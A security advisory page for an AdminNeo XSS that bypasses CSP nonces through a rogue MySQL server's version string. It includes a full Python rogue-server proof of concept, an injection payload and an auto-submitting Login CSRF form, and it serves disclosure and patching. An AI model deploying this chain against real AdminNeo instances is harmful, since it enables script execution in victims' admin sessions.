Search

Find a vulnerability

Search criteria ⓘ Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.

    Related vulnerabilities

    GHSA-RX7M-WXWQ-VXR9

    Vulnerability from github – Published: 2026-10-30 22:52 – Updated: 2026-10-30 22:52
    VLAI
    Summary
    AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)
    Details

    Summary

    AdminNeo inserts the database server's version string into a <script> tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.

    Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj

    Prerequisites

    • Target runs AdminNeo
    • Attacker controls a reachable MySQL server (a 80-line Python script)

    Root Cause

    admin/core/Admin.php, lines 1285-1286:

    echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" .
        Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });");
    

    script() wraps the output in <script nonce="VALID_NONCE">. Return value of Connection::get()->getVersion() is not escaped.

    Steps To Reproduce

    1. Build the environment

    Dockerfile (AdminNeo):

    FROM php:8.3-cli
    COPY adminneo.php /var/www/adminneo.php
    WORKDIR /var/www
    EXPOSE 8081
    CMD ["php", "-S", "0.0.0.0:8081"]
    

    rogue_mysql.py (fake MySQL server that accepts any login):

    import socket, struct, threading
    
    PAYLOAD = "1');alert(origin)//"
    
    # Capability flags the client expects
    CAP_PROTOCOL_41     = 0x0200
    CAP_SECURE_CONNECTION = 0x8000
    CAP_PLUGIN_AUTH     = 0x00080000
    CAPS_LOW  = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
    CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)
    
    def make_packet(seq, payload):
        length = struct.pack("<I", len(payload))[:3]
        return length + bytes([seq]) + payload
    
    def make_greeting(version_str):
        pkt  = b"\x0a"                                  # protocol version 10
        pkt += version_str.encode() + b"\x00"            # version string
        pkt += struct.pack("<I", 1)                      # connection id
        pkt += b"\x41" * 8                               # auth plugin data part 1
        pkt += b"\x00"                                   # filler
        pkt += struct.pack("<H", CAPS_LOW)               # capability flags lower
        pkt += b"\x21"                                   # charset utf8
        pkt += struct.pack("<H", 0x0002)                 # status flags
        pkt += struct.pack("<H", CAPS_HIGH)              # capability flags upper
        pkt += b"\x15"                                   # auth data length (21)
        pkt += b"\x00" * 10                              # reserved
        pkt += b"\x41" * 12 + b"\x00"                    # auth plugin data part 2
        pkt += b"mysql_native_password\x00"              # auth plugin name
        return make_packet(0, pkt)
    
    def make_ok(seq):
        pkt  = b"\x00"          # OK marker
        pkt += b"\x00"          # affected rows
        pkt += b"\x00"          # last insert id
        pkt += struct.pack("<H", 0x0002)  # status flags
        pkt += struct.pack("<H", 0)       # warnings
        return make_packet(seq, pkt)
    
    def make_eof(seq):
        pkt  = b"\xfe"
        pkt += struct.pack("<H", 0)       # warnings
        pkt += struct.pack("<H", 0x0002)  # status flags
        return make_packet(seq, pkt)
    
    def make_err(seq, msg=b"not supported"):
        pkt  = b"\xff"
        pkt += struct.pack("<H", 1045)
        pkt += b"#HY000"
        pkt += msg
        return make_packet(seq, pkt)
    
    def handle(conn):
        conn.sendall(make_greeting(PAYLOAD))
        try:
            conn.recv(4096)     # client login request
        except Exception:
            conn.close()
            return
        conn.sendall(make_ok(2))  # accept login
    
        # Answer any queries Adminer sends after login
        while True:
            try:
                data = conn.recv(4096)
                if not data:
                    break
                seq = data[3] + 1
                # Send ERR for all queries (Adminer still has the version in memory)
                conn.sendall(make_err(seq))
            except Exception:
                break
        conn.close()
    
    srv = socket.socket()
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind(("0.0.0.0", 3307))
    srv.listen(5)
    print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD)
    while True:
        conn, addr = srv.accept()
        print(f"[+] Connection from {addr}")
        threading.Thread(target=handle, args=(conn,)).start()
    
    # Terminal 1: start Adminer
    docker build -t adminer-xss .
    docker run -d -p 8081:8081 --name adminer-xss adminer-xss
    
    # Terminal 2: start rogue MySQL
    python3 rogue_mysql.py
    

    2. Trigger the XSS

    Open a browser and navigate to http://localhost:8081/adminneo.php:

    1. Select driver: MySQL
    2. Server: HOST_IP:3307 (IP of the machine running rogue_mysql.py)
    3. Username: root
    4. Password: x
    5. Click Login.

    The rogue server accepts the login. AdminNeo renders the dashboard and includes:

    <script nonce="REAL_NONCE">let autocompletion;
    window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script>
    

    The browser executes alert(origin) with full CSP bypass because the script tag carries a valid nonce.

    3. Trigger it via Login CSRF

    The login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server:

    <form id="f" method="POST" action="http://TARGET/adminneo.php">
      <input name="auth[driver]" value="mysql">
      <input name="auth[server]" value="ROGUE_IP:3307">
      <input name="auth[username]" value="root">
      <input name="auth[password]" value="x">
    </form>
    <script>document.getElementById('f').submit()</script>
    

    Collaborator Request

    This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!

    Show details on source website

    {
      "affected": [
        {
          "package": {
            "ecosystem": "Packagist",
            "name": "adminneo-org/adminneo"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "5.5.1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "aliases": [
        "CVE-2026-96632"
      ],
      "database_specific": {
        "cwe_ids": [
          "CWE-79"
        ],
        "github_reviewed": true,
        "github_reviewed_at": "2026-10-30T22:52:23Z",
        "nvd_published_at": null,
        "severity": "HIGH"
      },
      "details": "## Summary\n\nAdminNeo inserts the database server\u0027s version string into a `\u003cscript\u003e` tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser\u0027s Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.\n\nOriginally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj\n\n## Prerequisites\n\n- Target runs AdminNeo\n- Attacker controls a reachable MySQL server (a 80-line Python script)\n\n## Root Cause\n\n`admin/core/Admin.php`, lines 1285-1286:\n\n```php\necho script(\"let autocompletion;\\nwindow.addEventListener(\u0027DOMContentLoaded\u0027, () =\u003e { initSyntaxHighlighting(\u0027\" .\n    Connection::get()-\u003egetVersion() . \"\u0027, \u0027\" . Connection::get()-\u003egetFlavor() . \"\u0027, autocompletion); });\");\n```\n\n`script()` wraps the output in `\u003cscript nonce=\"VALID_NONCE\"\u003e`. Return value of `Connection::get()-\u003egetVersion()` is not escaped.\n\n## Steps To Reproduce\n\n### 1. Build the environment\n\n**Dockerfile** (AdminNeo):\n\n```dockerfile\nFROM php:8.3-cli\nCOPY adminneo.php /var/www/adminneo.php\nWORKDIR /var/www\nEXPOSE 8081\nCMD [\"php\", \"-S\", \"0.0.0.0:8081\"]\n```\n\n**rogue_mysql.py** (fake MySQL server that accepts any login):\n\n```python\nimport socket, struct, threading\n\nPAYLOAD = \"1\u0027);alert(origin)//\"\n\n# Capability flags the client expects\nCAP_PROTOCOL_41     = 0x0200\nCAP_SECURE_CONNECTION = 0x8000\nCAP_PLUGIN_AUTH     = 0x00080000\nCAPS_LOW  = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION\nCAPS_HIGH = (CAP_PLUGIN_AUTH \u003e\u003e 16)\n\ndef make_packet(seq, payload):\n    length = struct.pack(\"\u003cI\", len(payload))[:3]\n    return length + bytes([seq]) + payload\n\ndef make_greeting(version_str):\n    pkt  = b\"\\x0a\"                                  # protocol version 10\n    pkt += version_str.encode() + b\"\\x00\"            # version string\n    pkt += struct.pack(\"\u003cI\", 1)                      # connection id\n    pkt += b\"\\x41\" * 8                               # auth plugin data part 1\n    pkt += b\"\\x00\"                                   # filler\n    pkt += struct.pack(\"\u003cH\", CAPS_LOW)               # capability flags lower\n    pkt += b\"\\x21\"                                   # charset utf8\n    pkt += struct.pack(\"\u003cH\", 0x0002)                 # status flags\n    pkt += struct.pack(\"\u003cH\", CAPS_HIGH)              # capability flags upper\n    pkt += b\"\\x15\"                                   # auth data length (21)\n    pkt += b\"\\x00\" * 10                              # reserved\n    pkt += b\"\\x41\" * 12 + b\"\\x00\"                    # auth plugin data part 2\n    pkt += b\"mysql_native_password\\x00\"              # auth plugin name\n    return make_packet(0, pkt)\n\ndef make_ok(seq):\n    pkt  = b\"\\x00\"          # OK marker\n    pkt += b\"\\x00\"          # affected rows\n    pkt += b\"\\x00\"          # last insert id\n    pkt += struct.pack(\"\u003cH\", 0x0002)  # status flags\n    pkt += struct.pack(\"\u003cH\", 0)       # warnings\n    return make_packet(seq, pkt)\n\ndef make_eof(seq):\n    pkt  = b\"\\xfe\"\n    pkt += struct.pack(\"\u003cH\", 0)       # warnings\n    pkt += struct.pack(\"\u003cH\", 0x0002)  # status flags\n    return make_packet(seq, pkt)\n\ndef make_err(seq, msg=b\"not supported\"):\n    pkt  = b\"\\xff\"\n    pkt += struct.pack(\"\u003cH\", 1045)\n    pkt += b\"#HY000\"\n    pkt += msg\n    return make_packet(seq, pkt)\n\ndef handle(conn):\n    conn.sendall(make_greeting(PAYLOAD))\n    try:\n        conn.recv(4096)     # client login request\n    except Exception:\n        conn.close()\n        return\n    conn.sendall(make_ok(2))  # accept login\n\n    # Answer any queries Adminer sends after login\n    while True:\n        try:\n            data = conn.recv(4096)\n            if not data:\n                break\n            seq = data[3] + 1\n            # Send ERR for all queries (Adminer still has the version in memory)\n            conn.sendall(make_err(seq))\n        except Exception:\n            break\n    conn.close()\n\nsrv = socket.socket()\nsrv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nsrv.bind((\"0.0.0.0\", 3307))\nsrv.listen(5)\nprint(\"[*] Rogue MySQL on :3307 - version: \" + PAYLOAD)\nwhile True:\n    conn, addr = srv.accept()\n    print(f\"[+] Connection from {addr}\")\n    threading.Thread(target=handle, args=(conn,)).start()\n```\n\n```shell\n# Terminal 1: start Adminer\ndocker build -t adminer-xss .\ndocker run -d -p 8081:8081 --name adminer-xss adminer-xss\n\n# Terminal 2: start rogue MySQL\npython3 rogue_mysql.py\n```\n\n### 2. Trigger the XSS\n\nOpen a browser and navigate to `http://localhost:8081/adminneo.php`:\n\n1. Select driver: **MySQL**\n2. Server: `HOST_IP:3307` (IP of the machine running rogue_mysql.py)\n3. Username: `root`\n4. Password: `x`\n5. Click Login.\n\nThe rogue server accepts the login. AdminNeo renders the dashboard and includes:\n\n```html\n\u003cscript nonce=\"REAL_NONCE\"\u003elet autocompletion;\nwindow.addEventListener(\u0027DOMContentLoaded\u0027, () =\u003e { initSyntaxHighlighting(\u00271\u0027);alert(origin)//\u0027, \u0027mysql\u0027, autocompletion); });\u003c/script\u003e\n```\n\nThe browser executes `alert(origin)` with full CSP bypass because the script tag carries a valid nonce.\n\n### 3. Trigger it via Login CSRF\n\nThe login form has no CSRF token. An attacker page auto-submits the login, forcing the victim\u0027s browser to connect to the rogue server:\n\n```html\n\u003cform id=\"f\" method=\"POST\" action=\"http://TARGET/adminneo.php\"\u003e\n  \u003cinput name=\"auth[driver]\" value=\"mysql\"\u003e\n  \u003cinput name=\"auth[server]\" value=\"ROGUE_IP:3307\"\u003e\n  \u003cinput name=\"auth[username]\" value=\"root\"\u003e\n  \u003cinput name=\"auth[password]\" value=\"x\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027f\u0027).submit()\u003c/script\u003e\n```\n\n## Collaborator Request\n\nThis vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!",
      "id": "GHSA-rx7m-wxwq-vxr9",
      "modified": "2026-10-30T22:52:23Z",
      "published": "2026-10-30T22:52:23Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/adminneo-org/adminneo/security/advisories/GHSA-rx7m-wxwq-vxr9"
        },
        {
          "type": "WEB",
          "url": "https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj"
        },
        {
          "type": "WEB",
          "url": "https://github.com/adminneo-org/adminneo/commit/2c86406808bc2517efb35f5595b3a05761c2eacd"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/adminneo-org/adminneo"
        },
        {
          "type": "WEB",
          "url": "https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1"
        }
      ],
      "schema_version": "1.4.0",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)"
    }